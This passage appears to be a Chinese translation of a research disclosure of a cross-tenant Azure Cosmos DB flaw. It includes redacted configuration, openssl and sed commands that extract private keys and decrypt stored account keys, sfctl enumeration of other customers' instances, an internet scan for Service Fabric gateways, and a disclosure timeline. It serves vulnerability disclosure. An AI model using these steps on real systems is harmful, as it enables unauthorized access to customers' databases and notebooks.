<Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/>
</Section>
<Section Name="AzureTableServiceFabricEtwQueryable">
<Parameter Name="ConsumerType" Value="AzureTableQueryableEventUploader"/>
<Parameter Name="DataDeletionAgeInDays" Value="28"/>
<Parameter Name="IsEnabled" Value="true"/>
<Parameter Name="ProducerInstance" Value="ServiceFabricEtlFileQueryable"/>
<Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/>
<Parameter Name="TableNamePrefix" Value="fabriclog83bd67e77bb14f4f826f<REDACTED>"/>
</Section>
为了将来参考,这些是我们用来解密该protectedSettings
部分的OpenSSL
命令:
user@laptop:~/cosmos$ ls -la
total 144
drwxr-xr-x 2 user user 4096 Aug 9 20:37 .
drwxr-xr-x 3 user user 4096 Aug 9 19:53 ..
-rw------- 1 user user 121900 Aug 9 18:32 ManagedCertificates.pem
-rw------- 1 user user 3144 Aug 9 18:35 UnmanagedCertificates.pem
user@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n '/-----BEGIN PRIVATE KEY-----$/,/^-----END PRIVATE KEY-----$/p' > protected-key.pem
user@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n '/-----BEGIN CERTIFICATE-----$/,/^-----END CERTIFICATE-----$/p' > protected-cert.pem
user@laptop:~/cosmos$ echo MIIB0AYJKoZIhvcN...redacted...pqF8om/4fhhMgqGpu | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem
{"Placeholder":"NothingImportant"}
user@laptop:~/cosmos$ echo MIICkwYJKoZIhvcN...redacted...pMd+kxSTnWwJLOwgl | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem
{"StorageAccountKey1":"55410uWV0y5X...redacted...XCUEN2upGg==","StorageAccountKey2":"kNY61/TqYr4r...redacted...KOvBat3NbQ=="}
我们使用 Azure
存储资源管理器访问了这些存储帐户 ,发现了数百G的元数据和操作日志,以及关于Cosmos DB
底层基础设施的数百万条记录:
然后我们注意到manifest.xml
文件中描述 Service Fabric`节点的这一部分:
<NodeTypeName="CV2FI02">
<Endpoints>
<ClientConnectionEndpointPort="19000"/>
<LeaseDriverEndpointPort="1026"/>
<ClusterConnectionEndpointPort="1025"/>
<HttpGatewayEndpointPort="19080"Protocol="https"/>
<ServiceConnectionEndpointPort="1027"/>
<ApplicationEndpointsStartPort="20000"EndPort="30000"/>
<EphemeralEndpointsStartPort="30001"EndPort="65534"/>
</Endpoints>
<Certificates>
<ClusterCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
<ServerCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
<ClientCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
</Certificates>
<PlacementProperties>
<PropertyName="JanusGraphCapable"Value="true"/>
<PropertyName="MaterializedViewsBuilderCapable"Value="true"/>
<PropertyName="NodeTypeName"Value="CV2FI02"/>
<PropertyName="NotebookCapable"Value="true"/>
<PropertyName="RingRoleName"Value="CV2FI"/>
</PlacementProperties>
<Capacities>
<CapacityName="ComputeUnits"Value="80"/>
<CapacityName="ServiceFabric:/_CpuCores"Value="80"/>
<CapacityName="ServiceFabric:/_MemoryInMB"Value="442367"/>
</Capacities>
</NodeType>
</NodeTypes>
<Infrastructure>
<PaaS>
<Roles>
<RoleRoleName="CV2CB01"NodeTypeRef="CV2CB01"RoleNodeCount="5"/>
<RoleRoleName="CV2CW02"NodeTypeRef="CV2CW02"RoleNodeCount="7"/>
<RoleRoleName="CV2FI02"NodeTypeRef="CV2FI02"RoleNodeCount="8"/>
</Roles>
<Votes>
<VoteNodeName="_CV2FI02_0"IPAddressOrFQDN="10.0.0.4"Port="1025"/>
<VoteNodeName="_CV2FI02_1"IPAddressOrFQDN="10.0.0.5"Port="1025"/>
<VoteNodeName="_CV2FI02_2"IPAddressOrFQDN="10.0.0.6"Port="1025"/>
<VoteNodeName="_CV2FI02_3"IPAddressOrFQDN="10.0.0.7"Port="1025"/>
<VoteNodeName="_CV2FI02_4"IPAddressOrFQDN="10.0.0.8"Port="1025"/>
<VoteNodeName="_CV2FI02_5"IPAddressOrFQDN="10.0.0.9"Port="1025"/>
<VoteNodeName="_CV2FI02_6"IPAddressOrFQDN="10.0.0.10"Port="1025"/>
</Votes>
</PaaS>
</Infrastructure>
如果到目前为止你一直在密切关注,你会记得我们的越狱包括从iptables
中删除本地防火墙规则,这些规则阻止我们访问在上面的清单文件中看到的子网10.0.0.0/16
。这意味着,我们现在可以自由访问它。这也意味着我们可以从我们的Jupyter Notebook
容器通过端口 19080访问本地Service Fabric HttpGatewayEndpoint
,正如清单文件所示,可以通过 fabric.westus1.cosmos.azure.com
认证.
那么,Service Fabric
到底是什么?根据 微软的文档,Azure Service Fabric
是一个分布式系统平台,可以轻松打包、部署和管理可扩展且可靠的微服务和容器。因此,我们可以将其视为Kubernetes
的替代品。
我们执行sfctl
命令行使用fabric.westus1.cosmos.azure.com
证书连接到端口 19080 上的本地Service Fabric
并对其进行身份验证。然后我们使用该sfctl application list
命令列出正在运行的应用程序实例。
一下子列出该区域集群管理的所有Cosmos DB
实例(超过 500 个!)的列表,包括那些不属于我们帐户的实例:
查看执行命令的输出,我们认为这些字段特别有趣:
COSMOSDB_ACCOUNT_KEY_ENCRYPTED
NOTEBOOK_AUTH_TOKEN_ENCRYPTED
NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED
尽管这些密钥已加密(顾名思义),但我们拥有解密所需的证书: abricsecrets.documents.azure.com
. 这些是解密密钥的命令:
user@laptop:~/cosmos$ cat msg.p7m
MIME-Version:1.0
Content-Disposition: attachment; filename="./msg.p7m"
Content-Type: application/x-pkcs7-mime; name="./msg.p7m"
Content-Transfer-Encoding: base64
MIICOgYJKoZIhvcNAQcDoIIC...redacted...6oYVI1iUIj9cS2K9JEQEvY1/A== // <--- COSMOSDB_ACCOUNT_KEY_ENCRYPTED
user@laptop:~/cosmos$ openssl cms -decrypt -in msg.p7m -inkey ./fabricsecrets.documents.azure.com.key -recip ./fabricsecrets.documents.azure.com.crt
EuFBNZOWMFIee...redacted...0G7W4iDZoQeCQQ== // <--- Plain-text for COSMOSDB_ACCOUNT_KEY_ENCRYPTED
使用我们通过利用上述错误配置获得的信息,我们能够:
Cosmos DB
实例的明文主密钥,使我们能够在未经任何授权的情况下查询和操作客户的数据库。这可以通过使用fabricsecrets.documents.azure.com
的证书解密COSMOSDB_ACCOUNT_KEY_ENCRYPTED
来完成 。2, 获取集群中运行的任何Jupyter Notebook
实例的明文身份验证令牌,使我们能够在未经任何授权的情况下在客户的Jupyter VM
上执行任意代码。这可以通过使用fabricsecrets.documents.azure.com
证书解密NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED
并访问位于NOTEBOOK_PROXY_PATH
的Jupyter notebook
来完成。
获取客户notebook
存储账户的明文密码,使我们能够访问和操纵客户私人保存的notebook
。这可以通过使用fabricsecrets.documents.azure.com
的证书解密NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED
,并在Azure
存储资源管理器使用NOTEBOOK_STORAGE_FILE_ENDPOINT
中的信息来完成。
获取*.notebook.cosmos.azure.com
的证书,使我们能够拦截到这些端点的SSL
流量。
通过访问内部Azure
存储块获取有关Cosmos DB
底层基础结构的元数据。
通过浏览到位于各种端点上的Service Fabric Explorer
并使用fabric.westus1.cosmos.azure.com
认证.
之前提到了多个Azure
存储帐户,我们认为这些帐户包含有关Cosmos DB
底层基础结构的元数据信息。在查看这些日志文件后,我们注意到其中一些包含有关公共Service Fabrics
的信息,这些信息应该可以从Internet
访问(与之前需要的 LAN 访问相比)。
我们对 微软 的 ASN 上的端口 19080 进行了网络扫描,发现了 100 多个可通过此端口访问的Service Fabric
实例。我们尝试使用之前获得的证书 (fabric.westus1.cosmos.azure.com
) 连接到每一个Service Fabric
,令我们惊讶的是,身份验证成功了!
仅使用一个证书,我们就成功地对可从 Internet 访问的多个区域的内部Service Fabric
实例进行了身份验证。
以及在网络扫描中发现的部分Service Fabric
实例列表:
通过利用Cosmos DB
的Jupyter notebook
容器功能中的一系列错误配置,我们设法获得了对客户的Azure Cosmos DB
实例的未授权访问。我们能够通过多个身份验证令牌和 API 密钥证明对数千家公司的Cosmos DB
实例(数据库、notebook
环境、notebook
存储)的访问权限,具有完全的管理员控制权。受影响的客户中不乏世界 500 强企业。我们还设法获得了对运行 Cosmos DB 的底层基础设施的访问权限,并且我们能够证明这种访问可以在易受攻击的应用程序之外通过 Internet 进行维持。总的来说,我们认为这已经接近“服务接管”了。
2021 年 8 月 9 日 - Wiz 研究团队首先利用了该漏洞并获得了对 Cosmos DB 帐户的未授权访问权限。
2021 年 8 月 11 日 - Wiz 研究团队确认与 Wiz 客户有交集。
2021 年 8 月 12 日 - Wiz 研究团队向 微软 发送了咨询。
2021 年 8 月 14 日 - Wiz 研究团队观察到易受攻击的功能已被禁用。
2021 年 8 月 16 日 - 微软 安全响应中心 (MSRC) 确认报告的行为(MSRC 案例 66805)。
2021 年 8 月 16 日 - Wiz 研究团队观察到一些获得的证书已被撤销。
2021 年 8 月 17 日 - MSRC 为该报告提供了 40,000 美元的赏金。
2021 年 8 月 23 日 - MSRC 确认数千名客户受到影响。
2021 年 8 月 23 日 - MSRC 和 Wiz 研究团队讨论了公开披露策略。
2021 年 8 月 25 日 - 公开披露。